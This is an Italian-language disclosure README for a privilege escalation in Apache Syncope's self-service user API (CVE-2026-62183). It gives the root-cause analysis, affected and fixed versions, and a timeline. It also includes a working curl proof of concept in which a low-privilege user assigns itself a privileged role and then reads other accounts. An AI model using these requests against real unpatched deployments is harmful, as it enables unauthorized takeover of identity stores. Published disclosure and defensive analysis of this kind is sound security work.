
Apache Syncope: Escalation dei privilegi tramite self-service utente
Gestione impropria dei privilegi (CWE-269) in Apache Syncope. Un utente autenticato con privilegi minimi può assegnarsi arbitrariamente ruoli (e appartenenze a gruppi, risorse esterne e un nuovo realm) tramite l'API di self-service utente — operazioni che su ogni altro percorso di codice richiedono entitlement amministrativi — e diventare così amministratore dello store di identità.
Questo repository è il riferimento tecnico per la vulnerabilità: causa principale, proof of concept confermato a runtime e note di riproduzione. Un resoconto narrativo di come è stata trovata vive separatamente (vedi Write-up).
| CVE | CVE-2026-62183 |
| Vendor / prodotto | Apache Software Foundation — Apache Syncope |
| Pacchetto interessato | org.apache.syncope.core:syncope-core-workflow-java |
| Classe | CWE-269 Gestione impropria dei privilegi (meccanismo: CWE-862 Autorizzazione mancante) |
| Gravità | Importante (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Versioni vulnerabili | 3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1 |
| Corretta in | 4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x è EOL, nessuna correzione |
| Confermata su | 3.0.16 (distribuzione standalone, JDK 17), dominio Master |
L'endpoint di aggiornamento self-service utente di Apache Syncope, PATCH /users/self/{key},
richiede solo isAuthenticated(). Il livello di logica condiviso salta il controllo di
autorizzazione per le operazioni "self", mentre il data binder applica comunque i campi di
richiesta privilegiati (roles, memberships, resources, auxClasses, realm). Il
risultato è una semplice escalation dei privilegi: un utente con privilegi minimi si
auto-assegna un ruolo privilegiato e ottiene immediatamente i relativi entitlement — inclusa,
con un ruolo sufficientemente potente, l'amministrazione completa di tutti gli utenti. Dove
la self-registration è abilitata, la stessa falla si applica a doCreate, quindi un
attaccante non autenticato può registrare un account già privilegiato.
La vulnerabilità si applica quando è configurato uno dei seguenti adattatori di user workflow (è questo l'ambito indicato dall'advisory del vendor):
In produzione, il self-service è normalmente guidato tramite la Enduser UI, che non espone
l'assegnazione dei ruoli; per raggiungere questa falla è necessario che la Core REST API sia
chiamabile dall'utente con privilegi minimi. Il PoC runtime qui sotto usa la Standalone
Distribution, che Apache documenta come solo-valutativa e che include dati seed (l'utente
bellini, i ruoli integrati User manager / User reviewer) — tali dati seed non sono
presenti in un deployment generale. Questi sono vincoli onesti sullo sfruttabilità nel mondo
reale, non sulla correttezza della falla.
Flusso della richiesta per PATCH /users/self/{key}:
UserSelfService.update(UserUR) common/.../rest/api/service/UserSelfService.java @PATCH @Path("users/self/{key}")
→ UserSelfLogic.update(...) core/idrepo/logic/.../UserSelfLogic.java
→ AbstractUserLogic.doUpdate(..., self=true)
→ UserDataBinderImpl.update(...) core/provisioning-java/.../data/UserDataBinderImpl.java
1. L'endpoint autorizza solo "qualcuno è connesso?" — UserSelfLogic.update:
@PreAuthorize("isAuthenticated() "
+ "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
+ "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
...
ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync); // self = true
Nessun entitlement (niente USER_UPDATE, niente ambito ruolo/realm) è richiesto.
2. Il controllo di autorizzazione viene saltato per le operazioni self — AbstractUserLogic.doUpdate:
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
...
if (!self) { // self == true: l'intero blocco viene saltato
Set<String> authRealms = RealmUtils.getEffective(
AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
}
...
}
3. Il binder applica comunque i campi privilegiati — UserDataBinderImpl.update(...)
applica ADD/DELETE dei ruoli, memberships(...) (gruppi) e fill(...) (risorse / realm)
direttamente dalla richiesta, senza alcun controllo sui privilegi del chiamante — quel
controllo dovrebbe vivere nel livello di logica che il passaggio 2 salta. Il percorso admin
(UserLogic.update, @PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...))
esegue invece securityChecks; il percorso self no.
Il ruolo acquisito diventa effettivo all'autenticazione:
AuthDataAccessor.getUserAuthorities(user) attraversa userDAO.findAllRoles(user) e unisce
gli entitlement di ciascun ruolo, quindi il ruolo auto-assegnato è attivo alla successiva
richiesta/login dell'utente. Lo stesso salto if (!self) è presente in doCreate, il che
estende la falla alla self-registration.
In breve: due livelli presumevano ciascuno che fosse l'altro a imporre il controllo dei
privilegi. L'endpoint delegava l'autorizzazione al livello di logica; il livello di logica la
saltava per self; il binder si fidava del livello di logica per aver filtrato i campi.
Un normale utente autenticato senza ruoli si auto-assegna il ruolo integrato privilegiato
User manager (che concede USER_READ su /) e poi legge un account arbitrario. Nessuna
azione amministrativa, nessuna configurazione speciale. Script completo: poc.sh.
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}'
AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403
# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-w '%{http_code}\n' # -> 200 ; entity.roles=["User manager"]
# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200
Osservato: [1] 403 → [2] 200 (ruoli ora ["User manager"]) → [3] 200.
L'assegnazione persiste (confermata tramite la vista admin dell'utente). La stessa forma di
richiesta auto-assegna anche memberships (gruppi), resources (attivando il provisioning
verso sistemi esterni) e un nuovo realm.
Il PoC usa deliberatamente solo chiamate API legittime e documentate per dimostrare la lacuna di autorizzazione. È una prova minima, non uno exploit weaponizzato — vedi Uso responsabile.
Vedi BUILD.md per un setup runtime senza Docker e senza Maven (Tomcat
standalone + Temurin JDK 17) e i controlli di prontezza, poi:
B=http://localhost:9080/syncope/rest ./poc.sh
Qualsiasi utente autenticato — incluso l'account self-service con privilegi minimi — può
assegnarsi gli entitlement di qualsiasi ruolo definito. Con un ruolo che porta ampi
entitlement USER_* / admin, questo equivale alla presa di controllo dello store di
identità: lettura/modifica/eliminazione di tutti gli utenti, più provisioning degli account
verso sistemi esterni connessi tramite resources / memberships. Dove la
self-registration è abilitata, un attaccante non autenticato può registrarsi direttamente in
uno stato privilegiato (PR:N, CVSS 9.8). Gli entitlement concretamente ottenuti dipendono
dai ruoli effettivamente definiti nel deployment di destinazione.
Corretta in 4.0.7 / 4.1.2 con
SYNCOPE-1983
("Requiring admin approval for self changes beyond attributes"). UserCR / UserUR hanno
ottenuto un predicato requiresApproval() (true quando una richiesta tocca ruoli,
memberships, gruppi, risorse, relazioni, account collegati o manager utente/gruppo), e gli
adattatori di workflow instradano tali richieste self attraverso l'approvazione
amministrativa invece di applicarle direttamente. La 3.0.x è end-of-life e non riceve la
correzione — gli utenti 3.0.x interessati devono aggiornare a un branch supportato.
| Data (2026) | Evento |
|---|---|
| 28 giu | Segnalato privatamente a [email protected] con analisi della causa principale e PoC runtime |
| 13 lug | Apache Syncope PMC ha confermato; CVE-2026-62183 riservata; gravità valutata importante |
| 20 lug | Correzioni rilasciate (4.0.7 / 4.1.2); pubblicati advisory del vendor e record CVE |
Finder accreditati, secondo il record CVE: Nic Jones (@NicPWNs) e elin kai. Questo repository documenta l'analisi a livello di sorgente e il PoC confermato a runtime contribuiti da Nic Jones.
Un resoconto narrativo della ricerca — metodologia, l'audit del progetto Apache che l'ha portata alla luce e come è stata confermata a runtime — è sul mio blog: Self-Service to Admin: A Privilege Escalation in Apache Syncope.
Questo materiale è pubblicato per scopi difensivi ed educativi dopo la divulgazione coordinata e il rilascio delle versioni corrette. Il PoC usa solo chiamate API legittime per dimostrare la falla di autorizzazione; non è uno strumento di sfruttamento di massa. Non usarlo contro sistemi che non sei autorizzato a testare. Se esegui Apache Syncope, aggiorna alla 4.0.7 / 4.1.2 (o esci dalla 3.0.x).